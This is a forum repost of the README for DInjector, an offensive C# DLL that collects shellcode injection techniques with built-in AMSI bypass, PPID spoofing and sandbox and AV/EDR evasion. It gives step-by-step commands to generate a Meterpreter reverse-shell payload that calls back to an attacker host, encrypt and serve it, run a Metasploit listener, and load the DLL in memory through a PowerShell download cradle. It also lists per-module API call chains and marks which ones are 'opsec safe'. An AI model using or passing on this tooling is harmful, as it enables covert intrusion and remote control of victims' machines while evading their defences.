# DInjector | Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL

**URL:** <https://onehack.st/t/dinjector-collection-of-shellcode-injection-techniques-packed-in-a-d-invoke-weaponized-dll/209804>\
**Category:** Tools & Scripts\
**Tags:** tools, programming\
**Created:** [December 18, 2021, 12:11pm UTC](https://onehack.st/t/dinjector-collection-of-shellcode-injection-techniques-packed-in-a-d-invoke-weaponized-dll/209804 "2021-12-18T12:11:09Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [December 18, 2021, 12:11pm UTC](https://onehack.st/t/dinjector-collection-of-shellcode-injection-techniques-packed-in-a-d-invoke-weaponized-dll/209804/1 "2021-12-18T12:11:09Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/7/6/76a69711a4b2956a022d935427143ca166014edf.png)

This repository is an accumulation of my code snippets for various **shellcode injection** techniques using fantastic [D/Invoke](https://thewover.github.io/Dynamic-Invoke/) API by @TheWover and @FuzzySecurity.

Features:

- Fully ported to D/Invoke API
- Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
- Built-in AMSI bypass
- [PPID spoofing](https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing) and [block non-Microsoft DLLs](https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes) (stolen from [TikiTorch](https://github.com/rasta-mouse/TikiTorch), write-up is [here](https://offensivedefence.co.uk/posts/ppidspoof-blockdlls-dinvoke/))
- Sandbox detection & evasion

ℹ Based on my testings the DInvoke NuGet [package](https://www.nuget.org/packages/DInvoke/) itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via [Costura.Fody](https://www.nuget.org/packages/Costura.Fody/) (or similar approaches), so I’ve shrinked it a bit and included from [source](https://github.com/TheWover/DInvoke) to achieve better OpSec.

## Usage

1. Compile the project in VS.
2. Generate a shellcode for your favourite C2:

~$ msfvenom -p windows/x64/meterpreter/reverse\_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin

1. [Encrypt](https://github.com/snovvcrash/DInjector/blob/main/encrypt.py) the shellcode:

~$ encrypt.py shellcode.bin -p ‘Passw0rd!’ -o enc

1. Serve the encrypted shellcode and prepare C2 listener:

~$ sudo python3 -m http.server 80 ~$ sudo msfconsole -qx “use exploit/multi/handler; set payload windows/x64/meterpreter/reverse\_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run”

1. Use the PowerShell download [cradle](https://github.com/snovvcrash/DInjector/blob/main/cradle.ps1) to load DInjector.dll as `System.Reflection.Assembly` and execute it from memory.

⚠ I **do not** recommend putting the assembly on disk because it will very likely be flagged.

Required global arguments:

| Name | Example Value | Description |
| --- | --- | --- |
| `/am51` | `True`, `False` | Applies AMSI bypass |
| `/sc` | `http://10.10.13.37/enc` | Sets shellcode path (can be loaded from URL or as a Base64 string) |
| `/password` | `Passw0rd!` | Sets password to decrypt the shellcode |

## Modules

⚠ OpSec safe considerations are based on my personal usage expirience and some testings along the way.

### [FunctionPointer](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/FunctionPointer.cs)

module\_name: ‘functionpointer’ description: | Allocates a RW memory region, copies the shellcode into it and executes it like a function. calls: - ntdll.dll: 1: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 2: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ opsec\_safe: false references: - ‘[http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/](http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/)’ - ‘[https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis)’ - ‘[https://www.fergonez.net/post/shellcode-csharp](https://www.fergonez.net/post/shellcode-csharp)’

### [FunctionPointerV2](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/FunctionPointerV2.cs)

module\_name: ‘functionpointerv2’ description: | Sets RX on a byte array and executes it like a function. calls: - ntdll.dll: 1: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ opsec\_safe: false references: - ‘[https://jhalon.github.io/utilizing-syscalls-in-csharp-1/](https://jhalon.github.io/utilizing-syscalls-in-csharp-1/)’ - ‘[https://jhalon.github.io/utilizing-syscalls-in-csharp-2/](https://jhalon.github.io/utilizing-syscalls-in-csharp-2/)’ - ‘[https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs](https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs)’

### [ClipboardPointer](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/ClipboardPointer.cs)

module\_name: ‘clipboardpointer’ description: | Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function. calls: - user32.dll: 1: ‘OpenClipboard’ 2: ‘SetClipboardData’ 3: ‘CloseClipboard’ - ntdll.dll: 1: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ opsec\_safe: true references: - ‘[https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515](https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515)’

### [CurrentThread](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/CurrentThread.cs)

module\_name: ‘currentthread’ description: | Injects shellcode into current process. Thread execution via NtCreateThreadEx. calls: - ntdll.dll: 1: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 2: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ 3: ‘NtCreateThreadEx’ 4: ‘NtWaitForSingleObject’ opsec\_safe: false references: - ‘[https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs](https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs)’

### [RemoteThread](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThread.cs)

module\_name: ‘remotethread’ arguments: | /pid:1337 description: | Injects shellcode into an existing remote process. Thread execution via NtCreateThreadEx. calls: - ntdll.dll: 1: ‘NtOpenProcess’ 2: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 3: ‘NtWriteVirtualMemory’ 4: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ 5: ‘NtCreateThreadEx’ opsec\_safe: false references: - ‘[https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs](https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs)’

### [RemoteThreadView](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadView.cs)

module\_name: ‘remotethreadview’ arguments: | /pid:1337 description: | Injects shellcode into an existing remote process. Thread execution via RtlCreateUserThread. calls: - ntdll.dll: 1: ‘NtOpenProcess’ 2: ‘NtCreateSection (PAGE\_EXECUTE\_READWRITE)’ 3: ‘NtMapViewOfSection (PAGE\_READWRITE)’ 4: ‘NtMapViewOfSection (PAGE\_EXECUTE\_READ)’ 5: ‘RtlCreateUserThread’ 6: ‘NtUnmapViewOfSection’ 7: ‘NtClose’ opsec\_safe: false references: - ‘[https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs](https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs)’

### [RemoteThreadSuspended](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadSuspended.cs)

module\_name: ‘remotethreadsuspended’ arguments: | /pid:1337 description: | Injects shellcode into an existing remote process and flips memory protection to PAGE\_NOACCESS. After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE\_EXECUTE\_READ. Thread execution via NtCreateThreadEx. calls: - ntdll.dll: 1: ‘NtOpenProcess’ 2: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 3: ‘NtWriteVirtualMemory’ 4: ‘NtProtectVirtualMemory (PAGE\_NOACCESS)’ 5: ‘NtCreateThreadEx (CREATE\_SUSPENDED)’ 6: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ 7: ‘NtResumeThread’ opsec\_safe: true references: - ‘[https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/](https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/)’ - ‘[https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs](https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs)’

### [RemoteThreadAPC](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadAPC.cs)

module\_name: ‘remotethreadapc’ arguments: | /image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True description: | Injects shellcode into a newly spawned remote process. Thread execution via NtQueueApcThread. calls: - kernel32.dll: 1: ‘InitializeProcThreadAttributeList’ 2: ‘UpdateProcThreadAttribute (blockDLLs)’ 3: ‘UpdateProcThreadAttribute (PPID)’ 4: ‘CreateProcessA’ - ntdll.dll: 1: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 2: ‘NtWriteVirtualMemory’ 3: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ 4: ‘NtOpenThread’ 5: ‘NtQueueApcThread’ 6: ‘NtAlertResumeThread’ opsec\_safe: true references: - ‘[https://rastamouse.me/exploring-process-injection-opsec-part-2/](https://rastamouse.me/exploring-process-injection-opsec-part-2/)’ - ‘[https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0](https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0)’

### [RemoteThreadContext](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadAPC.cs)

module\_name: ‘remotethreadcontext’ arguments: | /image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True description: | Injects shellcode into a newly spawned remote process. Thread execution via SetThreadContext. calls: - kernel32.dll: 1: ‘InitializeProcThreadAttributeList’ 2: ‘UpdateProcThreadAttribute (blockDLLs)’ 3: ‘UpdateProcThreadAttribute (PPID)’ 4: ‘CreateProcessA’ - ntdll.dll: 1: ‘NtAllocateVirtualMemory (PAGE\_READWRITE)’ 2: ‘NtWriteVirtualMemory’ 3: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READ)’ 4: ‘NtCreateThreadEx (CREATE\_SUSPENDED)’ 5: ‘GetThreadContext’ 6: ‘SetThreadContext’ 7: ‘NtResumeThread’ opsec\_safe: true references: - ‘[https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/)’ - ‘[https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs](https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs)’

### [ProcessHollow](https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/ProcessHollow.cs)

module\_name: ‘processhollow’ arguments: | /image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True description: | Injects shellcode into a newly spawned remote process. Thread execution via NtResumeThread (hollowing with shellcode). calls: - kernel32.dll: 1: ‘InitializeProcThreadAttributeList’ 2: ‘UpdateProcThreadAttribute (blockDLLs)’ 3: ‘UpdateProcThreadAttribute (PPID)’ 4: ‘CreateProcessA’ - ntdll.dll: 1: ‘NtQueryInformationProcess’ 2: ‘NtReadVirtualMemory’ 3: ‘NtProtectVirtualMemory (PAGE\_EXECUTE\_READWRITE)’ 4: ‘NtWriteVirtualMemory’ 5: ‘NtProtectVirtualMemory (oldProtect)’ 6: ‘NtResumeThread’ opsec\_safe: false references: - ‘[https://github.com/CCob/SharpBlock/blob/master/Program.cs](https://github.com/CCob/SharpBlock/blob/master/Program.cs)’

## Credits

- @TheWover and @FuzzySecurity for their awesome [DInvoke](https://github.com/TheWover/DInvoke) project.
- All those great researchers mentioned in the modules references above.

## GitHub:

[https://github.com/snovvcrash/DInjector](https://github.com/snovvcrash/DInjector)